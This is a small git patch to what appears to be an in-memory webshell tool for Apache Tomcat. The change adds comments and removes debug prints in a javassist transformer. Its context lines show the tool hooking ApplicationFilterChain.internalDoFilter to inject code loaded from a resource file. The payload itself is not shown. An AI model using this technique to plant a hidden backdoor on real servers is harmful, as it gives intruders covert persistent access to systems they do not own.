From b75384143b134d240020d57af20ab83cd84430f6 Mon Sep 17 00:00:00 2001
From: rebeyond <5929401@qq.com>
Date: Wed, 13 Jun 2018 23:59:08 -0700
Subject: [PATCH] fix the bug: javassist.NotFoundException:
 org.apache.catalina.core.ApplicationFilterChain

---
 src/net/rebeyond/memshell/Transformer.java | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/src/net/rebeyond/memshell/Transformer.java b/src/net/rebeyond/memshell/Transformer.java
index 4ce686e..68083b0 100755
--- a/src/net/rebeyond/memshell/Transformer.java
+++ b/src/net/rebeyond/memshell/Transformer.java
@@ -21,8 +21,8 @@ public class Transformer implements ClassFileTransformer{
         if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)) {
             try {
                 ClassPool cp = ClassPool.getDefault();
-                ClassClassPath classPath = new ClassClassPath(aClass);  
-                cp.insertClassPath(classPath);  
+                ClassClassPath classPath = new ClassClassPath(aClass);  //get current class's classpath
+                cp.insertClassPath(classPath);  //add the classpath to classpool
                 CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain");
                 CtMethod m = cc.getDeclaredMethod("internalDoFilter");
                 m.addLocalVariable("elapsedTime", CtClass.longType);
@@ -41,8 +41,6 @@ public class Transformer implements ClassFileTransformer{
     public String readSource() {
     	StringBuilder source=new StringBuilder();
         InputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt");
-        System.out.println(Transformer.class.getClassLoader());
-        System.out.println(Transformer.class.getClassLoader().getResource("source.txt").getPath());
         InputStreamReader isr = new InputStreamReader(is); 
         String line=null;
         try {